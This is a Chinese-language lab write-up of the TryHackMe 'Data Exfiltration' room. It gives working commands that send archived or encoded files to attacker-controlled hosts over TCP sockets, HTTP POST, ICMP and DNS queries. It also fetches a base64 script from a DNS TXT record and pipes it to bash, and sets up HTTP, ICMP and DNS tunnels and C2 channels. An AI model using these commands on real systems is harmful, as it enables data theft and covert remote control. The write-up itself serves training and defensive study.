tryhackme——Data Exfiltration

news2025/5/31 18:07:51

文章目录

  • 一、网络拓扑
  • 二、数据泄露分类
    • 2.1 传统数据泄露
    • 2.2 C2通信
    • 2.3 隧道
  • 三、隧道
    • 3.1 Exfiltration using TCP socket
    • 3.2 Exfiltration using SSH
    • 3.3 Exfiltrate using HTTP(S)
      • HTTP隧道
    • 3.4 Exfiltration using ICMP
      • 3.4.1 ICMP数据包结构
      • 3.4.2 MSF实现ICMP数据泄露
      • 3.4.3 ICMP C2通信
    • 3.5 Exfiltration over DNS
      • 3.5.1 DNS配置
      • 3.5.2 Exfiltration over DNS
      • 3.5.3 通过DNS实现C2通信
      • 3.5.4 DNS隧道

数据泄露(Data Exfiltration)指的是将数据从受感染的计算机复制并传输到攻击者的计算机,依赖于 DNS、HTTP、SSH 等网络协议。通常,使用常见协议进行数据泄露很难检测和区分合法流量和恶意流量。

一、网络拓扑

在这里插入图片描述
在这里插入图片描述
使用ssh与跳板机建立连接:

ssh thm@10.10.125.142
# Machine IP: 10.10.125.142
# Username: thm
# Password: tryhackme

二、数据泄露分类

2.1 传统数据泄露

传统的数据泄露场景是将敏感数据从组织网络中转移出去。攻击者可以发起一个或多个网络请求来传输数据,具体取决于数据大小和所使用的协议。所有流量都将单向传输,即从网络内部到外部,一旦数据存储在攻击者的服务器上,攻击者就可以登录服务器并获取数据。通信方向:内网 ------> 外网
在这里插入图片描述

2.2 C2通信

在这里插入图片描述
许多 C2 框架提供了建立通信通道的选项,包括用于发送命令和接收来自受害机器的响应的标准和非传统协议。在 C2 通信中,攻击者发送有限数量的请求,以在受害者机器上执行命令。然后,代理的客户端执行该命令,并通过非传统协议发送包含结果的回复。通信将双向进行:进入网络和从网络发出。(强调攻击者发送命令且接受响应

2.3 隧道

在这里插入图片描述
在隧道攻击场景中,攻击者使用此数据泄露技术在受害者和攻击者的机器之间建立通信通道。该通信通道充当桥梁,使攻击者的机器能够访问整个内部网络,在建立连接的过程中,会有持续的流量发送和接收。

这节主要介绍隧道使用!!!

三、隧道

3.1 Exfiltration using TCP socket

重点如何使用数据编码通过 TCP 窃取数据。相关技术包括:TCP套接字、数据编码和归档。

传统TCP通信的工作原理如下图所示,核心在于一个监听一个请求
在这里插入图片描述
监听JumpBox8080端口:

nc -lvp 8080 > /tmp/task4-creds.data
# nc监听8080端口,一旦收到数据,将其存储在/tmp/目录中,并将其命名为task4-creds.data

在这里插入图片描述

AttackBox上使用sshvictim1建立连接:

ssh thm@victim1.thm.com
# password:tryhackme

读取敏感文件:

cat task4/creds.txt

在这里插入图片描述
使用编码将敏感文件发送到JumpBox

# 将目录task4/打包、编码并通过网络发送到远程主机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## z: 使用gzip压缩
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
## task4/: 要打包的目录
# | base64:将tar的输出通过管道传递给base64命令,将二进制数据编码为ASCII字符(Base64编码)。
# | dd conv=ebcdic:将Base64编码的数据转换为EBCDIC编码。
## dd:数据转换工具
# > /dev/tcp/192.168.0.133/8080:将数据通过TCP发送到192.168.0.133的8080端口。

在这里插入图片描述
在这里插入图片描述
可以看到,刚刚victim1的敏感数据保存在jumpbox/tmp目录下:
在这里插入图片描述
jumpbox上使用下面的命令将加密数据还原为原始数据:

cd /tmp
# 还原加密数据
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar

# 解压压缩包
tar xvf task4-creds.tar
## x:提取tar文件;
## v:详细列出文件;
## f:使用存档文件。

在这里插入图片描述

3.2 Exfiltration using SSH

SSH协议建立了一个安全通道,用于在客户端和服务器之间进行交互和传输数据,因此所有通过网络或互联网传输的数据都是加密的。
在这里插入图片描述
因为jumpboxvictim1都开启ssh服务,可以使用ssh进行数据传输(依赖于 SSH 建立的加密通道传输数据)。在victim1中使用下面的命令:

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
# tar zcf - task4/: 将task4目录打包并用gzip压缩,结果输出到标准输出
## tar: 归档工具
## c: 创建新归档
## f -: 输出到标准输出(stdout)而不是文件
# SSH客户端提供了一种无需完整会话即可执行单个命令的方法
## ssh thm@jump.thm.com "cd /tmp/; tar xpf -":ssh联系服务器,并在服务器上执行引号中的命令。
## x:解压归档文件
## p:保留文件权限(如 chmod 权限)
## f -:从 stdin(标准输入)读取tar数据(即tar cf - 传过来的数据)

在这里插入图片描述
在这里插入图片描述

3.3 Exfiltrate using HTTP(S)

通过 HTTP 协议窃取数据是最佳选择之一,因为它很难检测。区分合法和恶意的 HTTP 流量非常困难。我们将在数据窃取中使用 POST HTTP 方法,因为使用GET请求时,所有参数都会记录到日志文件中而使用 POST 请求时则不会(有些也会)。以下是 POST 方法的一些优势:

  • POST 请求永远不会被缓存;
  • POST 请求不会保留在浏览器历史记录中;
  • POST 请求无法被收藏;
  • POST 请求对数据长度没有限制;

假设攻击者控制了web.thm.com,需要将victim1.thm.com中的数据通过http隧道发送到web.thm.com

首先,web.thm.com中应该有一个接收数据的脚本contact.php,内容如下:

# 将post请求中file参数的值写入/tmp/http.bs64
<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

victim1.thm.com中执行下面的命令,将敏感数据传输到web.htm.com

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
# tar zcf - task6:将task6目录打包并压缩为.tar.gz格式,输出到stdout;
# | base64:将二进制数据编码为ASCII字符(Base64 编码),确保可通过HTTP安全传输;
# $(...):将子命令的输出作为字符串嵌入到父命令中,这里将"tar zcf - task6 | base64"的结果作为字符串赋值给file参数;
# curl --data "file=...":
## --data: 发送POST请求(默认 Content-Type: application/x-www-form-urlencoded);
## "file=...": 构造POST数据。

在这里插入图片描述
web.htm.com中查看收到的数据:

ls /tmp
cat /tmp/http.bs64
# 将文件中的空格替换为+
sudo sed -i 's/ /+/g' /tmp/http.bs64
## sed -i :流编辑器,直接修改文件;
## 替换规则s/原内容/新内容/,g代表替换所有匹配项。
cat /tmp/http.bs64 | base64 -d | tar xvfz -

在这里插入图片描述

上述我们展示了通过HTTP协议进行数据泄露,这意味着所有传输的数据都是明文的。如果在启用SSL的 Web 服务器上应用之前展示的相同技术,可以看到所有传输的数据都将被加密。如果您有兴趣设置自己的HTTPS服务器,建议您访问Digital Ocean。

HTTP隧道

如果HTTP协议隧道技术封装了其他协议,并通过HTTP协议来回发送它们,HTTP 隧道会根据通信信道发送和接收大量HTTP请求!

有如下一个典型的场景:uploader.thm.com服务器可以通过互联网访问,并向所有人提供 Web 服务。然而,app.thm.com服务器在本地运行,仅为内部网络提供服务,如下图所示:
在这里插入图片描述
目的创建一个HTTP隧道通信通道,以便接入内部网络并通过HTTP协议与本地网络设备进行通信

假如uploader.thm.com上有一个Web应用程序,它允许我们将HTTP隧道代理文件上传到uploader.thm.com。上传并连接到该服务器后,我们就能与app.thm.com进行通信。

对于HTTP隧道,我们将使用Neo-reGeorg工具建立访问内部网络设备的通信通道。

需要生成一个加密的客户端文件,并将其上传到受害者的Web服务器。使用如下命令生成加密的客户端文件:

python3 neoreg.py generate -k thm
# 密钥为:thm

在这里插入图片描述
tunnel.php上传到ttp://10.10.144.113/uploader
在这里插入图片描述
通过访问上传的tunnel.phpattackboxuploader.thm.com之间建立http隧道:

root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://10.10.144.113/uploader/files/tunnel.php

在这里插入图片描述
隧道连接成功后,会在本地127.0.0.1:1080启动一个 SOCKS5代理服务,所有发送到这个端口的流量,都会通过隧道转发到目标网络

例如,我们想访问flag.thm.com(其内部 IP 地址为172.20.0.120,端口为80),我们可以使用带有--socks5参数的curl命令:

curl --socks5 127.0.0.1:1080 http://172.20.0.120:80

在这里插入图片描述

3.4 Exfiltration using ICMP

ICMP代表互联网控制消息协议 (ICMP),它是一种用于处理错误报告的网络层协议。路由器等网络设备使用ICMP协议来检查设备之间的网络连接。

请注意,ICMP 协议不是在设备之间发送数据的传输协议。

假设两台主机需要测试网络中的连通性,那么我们可以使用ping命令通过网络发送ICMP数据包,如下图所示。
在这里插入图片描述
HOST1发送一个 ICMP 数据包,其中包含一个回显请求数据包。然后,如果HOST2可访问,它会返回一个 ICMP 数据包,其中包含一个回显应答消息。

3.4.1 ICMP数据包结构

ICMP数据包的结构包含一个可选的数据字段,它可以为空,也可以在通信期间包含随机字符串。作为攻击者,我们可以将数据包含在数据字段中,并通过ICMP数据包将其发送到另一台计算机。另一台计算机必须使用ICMP数据包捕获网络流量才能接收数据。
在这里插入图片描述
使用ping命令发送ICMP数据包:

ping 10.10.144.113 -c 1

在这里插入图片描述
可以看到,ICMP数据包中数据字段被随机字符填充。

Linux操作系统中的ping命令有一个有趣的 ICMP 选项,使用-p参数,我们可以指定 16个字节的十六进制数据,并通过数据包发送。

请注意,-p选项仅适用于Linux操作系统

假设我们拿到了凭证,需要将其通过ICMP协议带出去。可以使用下面的命令:

# 将thm:tryhackme转化为16进制数据
echo "thm:tryhackme" | xxd -p 
# xxd是一个十六进制转储工具(通常用来查看或转换二进制数据)
# -p:表示以纯十六进制连续输出

在这里插入图片描述
再使用ICMP协议传输转化为16进制的凭证:

ping 10.10.144.113 -c 1 -p 74686d3a7472796861636b6d650a

成功填充到ICMP数据包的数据字段中。
在这里插入图片描述

3.4.2 MSF实现ICMP数据泄露

下面,我们将利用MSF实现ICMP数据泄露,其实就是通过MSF自动捕获ICMP数据包中的数据字段。详细来说,MSF会捕获传入的 ICMP 数据包并等待文件开头 (BOF) 触发值;收到触发值后,它会将数据写入磁盘,直到收到文件结尾 (EOF) 触发值

在这里插入图片描述
attackbox上,使用MSF部署ICMP监听模块:

# 选择ICMP监听模块
use auxiliary/server/icmp_exfil
# 设置一个BPF (Berkeley Packet Filter)过滤器
## icmp:仅捕获ICMP协议的数据包
## not src 10.10.176.72:排除源地址为10.10.176.72的ICMP数据包
set BPF_FILTER icmp and not src 10.10.176.72
# 设置监听的网卡
set INTERFACE ens5
run

在这里插入图片描述

使用ssh从attackbox登录到jumpbox,再使用sshjumpbox登录到icmp.thm.com

icmp.thm.com上,使用nping发送一个自定义数据的ICMP数据包:

sudo nping --icmp -c 1 10.10.176.72 --data-string "BOFfile.txt"
# --icmp:指定使用ICMP协议;
# -c 1:只发送一个数据包;
# --data-string "BOFfile.txt":在ICMP包中嵌入自定义字符串“BOFfile.txt”,通常是嵌入到ICMP数据包的数据字段中

在这里插入图片描述

sudo nping --icmp -c 1 10.10.176.72 --data-string "admin:password"
sudo nping --icmp -c 1 10.10.176.72 --data-string "admin2:password2"
sudo nping --icmp -c 1 10.10.176.72 --data-string "EOF"

MSF默认触发触发值:BOFfile.txt,默认结束值:EOF

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3.4.3 ICMP C2通信

下面,将演示使用ICMPDoor工具通过ICMP协议执行命令。
ICMPDoor原理:攻击者仍然利用ICMP数据包中的数据字段发送命令,命令执行后,受害者机器会将执行输出存放在ICMP数据包的数据字段中,并通过ICMP协议返回给攻击者。
在这里插入图片描述

目的:jump.thm.com作为服务端(主动连接),icmp.thm.com作为客户端(监听)。

icmp.thm.com上使用下面的命令完成监听:

thm@icmp-host:~$ sudo icmpdoor -i eth0 -d 192.168.0.133
# -i: 192.168.0.121的网卡
# 192.168.0.133:jump.thm.com地址,服务端地址

在这里插入图片描述
jump.thm.com上执行下面的命令,建立icmp C2通信:

thm@jump-box$: sudo icmp-cnc -i eth1 -d 192.168.0.121
# -i: 192.168.0.133的网卡
# 192.168.0.121:icmp.thm.com地址,客户端地址

在这里插入图片描述

3.5 Exfiltration over DNS

3.5.1 DNS配置

有一台新的设备加入network 2,域名:attacker.thm.com,IP:172.20.0.200。网络1和网络2的关系如下:
在这里插入图片描述
通过http://10.10.217.212/对DNS进行设置:
在这里插入图片描述
添加A记录:对应权威DNS服务器的IP。当用户查询t1ns.tunnel.com时,DNS系统会返回172.20.0.200
在这里插入图片描述
NS记录:指定某个子域名的权威DNS服务器,告诉客户端该去找哪台服务器解析域名。将t1.tunnel.com的所有查询委托给t1ns.tunnel.com
在这里插入图片描述
当查询xxx.t1.tunnel.com时:

  • 递归 DNS 服务器会先找到t1.tunnel.com的NS记录(指向t1ns.tunnel.com)。
  • t1ns.tunnel.com(IP=172.20.0.200)发起查询,询问xxx.t1.tunnel.com的IP。
  • t1ns.tunnel.com(IP=172.20.0.200)可以自由返回任意 IP(如1.1.1.1或恶意 C2 服务器 IP)。

常见误区澄清:

❌ 误区:xxx.t1.tunnel.com 的 IP == t1ns.tunnel.com的 IP(172.20.0.200)。
✅ 真相:172.20.0.200只是 DNS 服务器的地址,xxx.t1.tunnel.com的 IP 由该服务器动态返回
❌ 误区:NS记录直接返回 IP。
✅ 真相:NS记录只指定权威服务器,需进一步查询A/AAAA/CNAME记录才能获取 IP

3.5.2 Exfiltration over DNS

DNS协议主要目的是将域名解析为IP地址,尽管DNS协议并非设计用于传输数据,但威胁行为者找到了滥用该协议并通过其传输数据的方法。而且,几乎所有组织网络中的防火墙都允许使用 DNS 协议,因此,这里展示通过DNS协议窃取数据的技术。

首先,DNS协议中存在关于域名格式的核心规则:

  • FQDN(完全限定域名)最大长度为255 字节。完整域名长度最长255字节
  • 子域名最大长度为63 字节。下图中WWW最长63字节。
    在这里插入图片描述

基于上述规则,我们可以使用有限的字符数通过域名传输数据。通过DNS进行数据泄露的要求和步骤,具体如下:

  • 攻击者注册一个域名,例如tunnel.com
  • 攻击者将tunnel.com的NS记录指向其控制的服务器(ns1.tunnel.com)。
  • 恶意软件或攻击者将敏感数据从受害计算机发送到其控制的域名,例如 passw0rd.tunnel.com,其中passw0rd是需要传输的数据。
  • DNS请求通过本地DNS服务器发送,并通过互联网转发。
  • 攻击者的权威DNS(恶意服务器)接收DNS请求。
  • 攻击者从域名中提取密码。

在这里插入图片描述

其中,有两个技术细节:

  1. 递归查询过程:
    • DNS解析请求 → 本地DNS服务器;
    • 本地DNS服务器 → 查询根域名服务器 → 找到.com的权威服务器。
    • 查询.com的权威服务器 → 找到tunnel.com的NS记录(指向ns1.tunnel.com)。
    • ns1.tunnel.com(攻击者服务器)发起查询。
  2. DNS协议本身会将完整域名(包括子域名)发送到权威服务器
    例如,查询passw0rd.tunnel.com时,passw0rd会作为查询的一部分到达tunnel.com的权威服务器(攻击者控制)。在查询tunnel.com时,tunnel会作为查询的一部分到达.com的权威服务器。

何时需要使用DNS数据渗透

典型的场景是防火墙阻止并过滤所有流量,我们可以使用DNS协议让数据或 TCP/UDP 数据包穿过防火墙,但务必确保 DNS 被允许访问,并将域名解析为 IP 地址。

修改DNS记录

现在,让我们尝试在提供的网络环境中执行 DNS 数据泄露。请注意,在本场景中,我们将使用 tunnel.com 域名。我们还提供了一个 Web 界面,用于修改 tunnel.com 的 DNS 记录,以插入指向 AttackBox 计算机的名称服务器 (NS)。请确保在任务 8 中完成这些设置。

DNS 数据泄露

现在,解释一下手动DNS数据泄露技术及其工作原理。假设我们有一个包含敏感数据的creds.txt文件,要通过DNS协议传输该文件,我们需要对文件内容进行编码,并将其作为子域名附加,如下所示:
在这里插入图片描述

  1. 获取需要传输的数据;
  2. 使用一种编码技术对文件进行编码;
  3. 将编码后的字符作为子域名发送。

注意

  • 我们可以向域名添加尽可能多的数据,但必须将整个URL限制在255个字符以内,并且每个子域名标签不能超过63个字符
  • 如果超出这些限制,需要拆分数据并发送更多DNS请求。

首先,在jumpbox通过ssh协议登录到攻击者电脑上:

thm@jump-box$ ssh thm@attacker.thm.com

为了接收所有DNS请求,我们在攻击者电脑上使用tcpdump工具捕获任何传入的 UDP/53数据包的网络流量。

thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v 

在这里插入图片描述
jumpbox通过ssh协议登录到victim2电脑上:

thm@jump-box$ ssh thm@victim2.thm.com

假设要传输的敏感数据为credit.txt

在这里插入图片描述
为了发送文件的内容,我们需要将其转换为字符串表示形式,这可以使用任何编码表示形式(例如 Base64、十六进制、二进制等)来完成。这里我们使用Base64对文件进行如下编码:

thm@victim2$ cat task9/credit.txt | base64

在这里插入图片描述
然后,我们需要根据输出的长度(DNS 限制)将其拆分为一个或多个 DNS 请求,并将其作为子域名附加。让我们先从拆分多个DNS请求开始,演示这两种方法。

DNS拆分方法1

thm@victim2:~$ cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/'
# | tr -d "\n":删除所有的换行符,使Base64编码成为连续的单行字符串。
## tr:translate是一个字符替换/删除工具。
## -d:删除指定的字符。
## "\n" 代表换行符。
# | fold -w18:将长字符串按每18个字符一行进行折行。
## fold:一个文本折行工具。
## -w18:每行最多 18 个字符。
# | sed -r 's/.*/&.att.tunnel.com/':在每一行的末尾添加.att.tunnel.com后缀。
## sed:流编辑器,用于文本替换/处理。
## -r:使用正则表达式(支持&等特殊符号)。
## s/.*/&.att.tunnel.com/:正则表达式规则:
### .* 匹配整行内容。
### & 代表匹配到的内容(即整行)。
### &.att.tunnel.com,即原内容+.att.tunnel.com。

在这里插入图片描述

DNS拆分方法2

thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
# sed 's/.*/&./':在每一行的末尾添加一个点.。
# sed s/$/att.tunnel.com/:在每一行的末尾添加 att.tunnel.com
## $:匹配行尾

在这里插入图片描述

使用第二种方法通过DNS实现数据泄露:

thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
# awk '{print "dig +short " $1}':读取输入内容,批量生成dig +short查询命令。
## awk:awk是一个文本处理工具,按行处理输入数据;
## {print "dig +short " $1}:对每一行执行;
### $1:提取该行的第一列(默认以空格/Tab分隔)。
# | bash:将awk生成的命令通过管道传递给bash解释器直接执行

在这里插入图片描述
在攻击机上可以看到DNS解析记录:
在这里插入图片描述
恢复敏感数据:

thm@attacker:~$ echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d
# cut -d"." -f1-8:提取前8个以.分隔的部分。
## -d".":指定分隔符为.(默认是 Tab);
## -f1-8:选择第1到第8个字段(以.分割的部分);
# tr -d ".":删除所有.字符,将多行合并为连续的Base64字符串。

在这里插入图片描述

3.5.3 通过DNS实现C2通信

除了通过DNS协议传输敏感信息,还可以通过TXT记录下发命令脚本。
首先,为script.tunnel.com设置txt记录,内容为下面脚本的base64编码:

## /tmp/script.sh脚本内容
#!/bin/bash 
ping -c 1 test.thm.com

## 脚本内容进行base64编码
cat /tmp/script.sh | base64

在这里插入图片描述
victim2上请求script.tunnel.comTXT记录,将会返回base64化的脚本内容。
在这里插入图片描述

在这里插入图片描述
使用下面命令执行脚本内容

dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
# tr -d "\"":删除";
# | base64 -d | bash:解码后让bash执行。

在这里插入图片描述

3.5.4 DNS隧道

DNS隧道:此技术也称为 TCP over DNS,攻击者使用 DNS 数据泄露技术,将其他协议(例如 HTTP 请求)封装在DNS协议上。DNS 隧道建立了一个通信通道,用于持续发送和接收数据。

我们将使用iodine工具创建 DNS 隧道通信。要建立 DNS 隧道,需要遵循以下步骤:

  • 确保更新 DNS 记录并创建新的 NS 指向AttackBox.
  • 从AttackBox运行iodined服务器。 (注意:服务器端我们使用iodined
  • JumpBox上运行iodine客户端建立连接。(注意:客户端我们使用iodine
  • 通过 SSH 连接到已创建的网络接口上的机器,以创建 DNS 代理。我们将使用 -D 参数创建动态端口转发。
  • 建立 SSH 连接后,我们可以在 Firefox 或 ProxyChains 中使用本地 IP 和本地端口作为代理。

iodine工作原理:

  1. DNS 隧道建立
    • 服务端(此命令)监听来自客户端的 DNS 查询(通常是对 att.tunnel.com 的子域名请求)。
    • 所有隧道数据被编码为 DNS 请求/响应(如 data123.att.tunnel.com)。
  2. 虚拟网络配置
    • 服务端创建一个虚拟网络接口(如 dns0),IP 为 10.1.1.1。
    • 客户端连接后,会分配到 10.1.1.2、10.1.1.3 等 IP,形成点对点网络。
  3. 数据传输
    • 客户端将流量封装到 DNS 查询中,发送到服务端。
    • 服务端解码后转发到真实网络,并将响应通过 DNS 返回。

在攻击机上运行下面的命令:

thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
# -f:前台运行(显示调试信息,不转为后台进程)
# -c:禁用客户端 IP 检查(允许任何客户端连接)
# -P thmpass:设置认证密码为 thmpass(客户端需匹配)
# 10.1.1.1/24:指定隧道内使用的虚拟 IP 范围(服务端占用 10.1.1.1)
# att.tunnel.com:攻击者控制的域名,用于封装DNS请求

在这里插入图片描述
jumpbox上运行下面的命令,连接服务端:

thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com

在这里插入图片描述
通过查看jumpbox上的ifconfig,可以看到一个虚拟网卡;
在这里插入图片描述
在攻击机(172.20.0.200)上可以通过ssh与iodine客户端(jumpbox)建立联系,实现DNS隧道+SSH加密的目的:

root@attacker$ ssh thm@10.1.1.2 -4 -f -N -D 1080
# -4:强制使用IPv4(禁用IPv6)
# -f:后台运行(连接成功后转入后台)
# -N:不执行远程命令(仅建立隧道)
# -D 1080:在本地1080端口开启SOCKS代理

在这里插入图片描述
通过socks5代理实现隧道通信:

curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php

核心:DNS隧道突破限制 → SSH加密增强隐蔽性 → SOCKS代理标准化使用
流量方向:攻击者 → 攻击者1080端口 → SSH加密 → 10.1.1.2服务器(跳板机) → 目标网站/服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2391887.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云服务器采用crontab定时任务使acme.sh全自动化申请续签免费SSL证书,并部署在Linux宝塔网站和雷池WAF

阿里云服务器安装Linux宝塔面板用于部署网站&#xff0c;又安装了雷池WAF用于防护网站&#xff0c;网站访问正常。可以参考文章&#xff1a;Linux服务器安装Linux宝塔面板并部署wordpress网站以及雷池WAF 本文介绍使用 acme.sh 通过 DNS API 全自动申请和续签免费Let’s Encry…

【华为鸿蒙电脑】首款鸿蒙电脑发布:MateBook Fold 非凡大师 MateBook Pro,擎云星河计划启动

文章目录 前言一、HUAWEI MateBook Fold 非凡大师&#xff08;一&#xff09;非凡设计&#xff08;二&#xff09;非凡显示&#xff08;三&#xff09;非凡科技&#xff08;四&#xff09;非凡系统&#xff08;五&#xff09;非凡体验 二、HUAWEI MateBook Pro三、预热&#xf…

SpringBoot Controller接收参数方式, @RequestMapping

一. 通过原始的HttpServletRequest对象获取请求参数 二. 通过Spring提供的RequestParam注解&#xff0c;将请求参数绑定给方法参数 三. 如果请求参数名与形参变量名相同&#xff0c;直接定义方法形参即可接收。(省略RequestParam) 四. JSON格式的请求参数(POST、PUT) 主要在PO…

端午节互动网站

端午节互动网站 项目介绍 这是一个基于 Vue 3 Vite 开发的端午节主题互动网站&#xff0c;旨在通过有趣的交互方式展示中国传统端午节文化。网站包含三个主要功能模块&#xff1a;端午节介绍、互动包粽子游戏和龙舟竞赛游戏。 预览网站&#xff1a;https://duanwujiekuaile…

react-color-palette源码解析

项目中用到了react-color-palette组件&#xff0c;以前对第三方组件都是不求甚解&#xff0c;这次想了解一下其实现细节。 简介 react-color-palette 是一个用于创建颜色调色板的 React 组件。它提供了一个简单易用的接口&#xff0c;让开发者可以轻松地创建和管理颜色调色板。…

在 Ubuntu 上安装 NVM (Node Version Manager) 的步骤

NVM (Node Version Manager) 是一个用于管理多个 Node.js 版本的工具&#xff0c;它允许您在同一台设备上安装、切换和管理不同版本的 Node.js。以下是在 Ubuntu 上安装 NVM 的详细步骤&#xff1a; 安装前准备 可先在windows上安装ubuntu 参考链接&#xff1a;https://blog.…

重温经典算法——插入排序

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 基本原理 插入排序是一种基于元素逐步插入的简单排序算法&#xff0c;其核心思想是将待排序序列分为已排序和未排序两部分&#xff0c;每次从未排序部分取出第一个元素&…

塔能科技:为多行业工厂量身定制精准节能方案

在当今追求可持续发展的时代&#xff0c;工厂能耗精准节能成为众多企业关注的焦点。塔能科技凭借先进的技术和丰富的经验&#xff0c;服务于广泛的行业客户&#xff0c;其中55.5%来自世界500强和上市公司。针对不同行业工厂的特点和需求&#xff0c;塔能提供了一系列行之有效的…

【实证分析】上市公司全要素生产率+5种测算方式(1999-2024年)

上市公司的全要素生产率&#xff08;TFP&#xff09;衡量企业在资本、劳动及中间投入之外&#xff0c;通过技术进步、管理效率和规模效应等因素提升产出的能力。与单纯的劳动生产率或资本生产率不同&#xff0c;TFP综合反映了企业创新能力、资源配置效率和组织优化水平&#xf…

弥散制氧机工作机制:高原低氧环境的氧浓度重构技术

弥散制氧机通过空气分离与智能扩散技术&#xff0c;将氧气均匀分布于封闭或半封闭空间&#xff0c;实现环境氧浓度的主动调控。其核心在于 “分子筛吸附动态均布智能反馈” 的协同作用机制&#xff0c;为高原、矿井、医疗等场景提供系统性氧环境解决方案。 一、空气分离&#x…

[Python] 避免 PyPDF2 写入 PDF 出现黑框问题:基于语言自动匹配系统字体的解决方案

在使用 Python 操作 PDF 文件时,尤其是在处理中文、日语等非拉丁字符语言时,常常会遇到一个令人头疼的问题——文字变成“黑框”或“方块”,这通常是由于缺少合适的字体支持所致。本文将介绍一种自动选择系统字体的方式,结合 PyPDF2 模块解决此类问题。 一、问题背景:黑框…

《基于Keepalived+LVS+Web+NFS的高可用集群搭建》

目 录 1 项目概述 1.1 项目背景 1.2 项目功能 2 项目的部署 2.1 部署环境介绍 2.2 项目的拓扑结构 2.3 项目环境调试 2.4 项目的部署 2.5 项目功能的验证 2.6 项目对应服务使用的日志 3 项目的注意事项 3.1 常见问题与解决方案 3.2 项目适用背…

时间序列预测算法中的预测概率化笔记

文章目录 1 预测概率化的前情提要2 预测概率化的代码示例3 预测概率化在实际商业应用场景探索3.1 智能库存与供应链优化 1 预测概率化的前情提要 笔者看到【行业SOTA&#xff0c;京东首个自研十亿级时序大模型揭秘】提到&#xff1a; 预测概率化组件&#xff1a;由于大部分纯时…

2025-05-28 Python深度学习8——优化器

文章目录 1 工作原理2 常见优化器2.1 SGD2.2 Adam 3 优化器参数4 学习率5 使用最佳实践 本文环境&#xff1a; Pycharm 2025.1Python 3.12.9Pytorch 2.6.0cu124 ​ 优化器 (Optimizer) 是深度学习中的核心组件&#xff0c;负责根据损失函数的梯度来更新模型的参数&#xff0c;使…

篇章二 数据结构——前置知识(二)

目录 1. 包装类 1.1 包装类的概念 1.2 基本数据类型和对应的包装类 1.3 装箱和拆箱 1.4 自动装箱和自动拆箱 1.5 练习 —— 面试题 2. 泛型 2.1 如果没有泛型——会出现什么情况&#xff1f; 2.2 语法 2.3 裸类型 1.没有写<> 但是没有报错为什么&#xff1f; …

Flutter Container组件、Text组件详解

目录 1. Container容器组件 1.1 Container使用 1.2 Container alignment使用 1.3 Container border边框使用 1.4 Container borderRadius圆角的使用 1.5 Container boxShadow阴影的使用 1.6 Container gradient背景颜色渐变 1.7 Container gradient RadialGradient 背景颜色渐…

Telegram平台分发其聊天机器人Grok

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

STM32 定时器输出比较深度解析:从原理到电机控制应用 (详解)

文章目录 定时器输出比较定时器通道结构输出比较通道(高级) PWM 信号原理输出比较 8 种工作模式互补输出概念极性选择内容 PWM硬件部分舵机直流电机及驱动简介 定时器输出比较 定时器通道结构 通道组成&#xff1a;定时器有四个通道&#xff0c;以通道一为例&#xff0c;中间是…

Python训练营打卡 Day38

Dataset和Dataloader类 知识点回顾&#xff1a; Dataset类的__getitem__和__len__方法&#xff08;本质是python的特殊方法&#xff09;Dataloader类minist手写数据集的了解 作业&#xff1a;了解下cifar数据集&#xff0c;尝试获取其中一张图片 Dataset和Dataloader类 1. Data…

【机器学习基础】机器学习入门核心算法:K均值(K-Means)

机器学习入门核心算法&#xff1a;K均值&#xff08;K-Means&#xff09; 1. 算法逻辑2. 算法原理与数学推导2.1 目标函数2.2 数学推导2.3 时间复杂度 3. 模型评估内部评估指标外部评估指标&#xff08;需真实标签&#xff09; 4. 应用案例4.1 客户细分4.2 图像压缩4.3 文档聚类…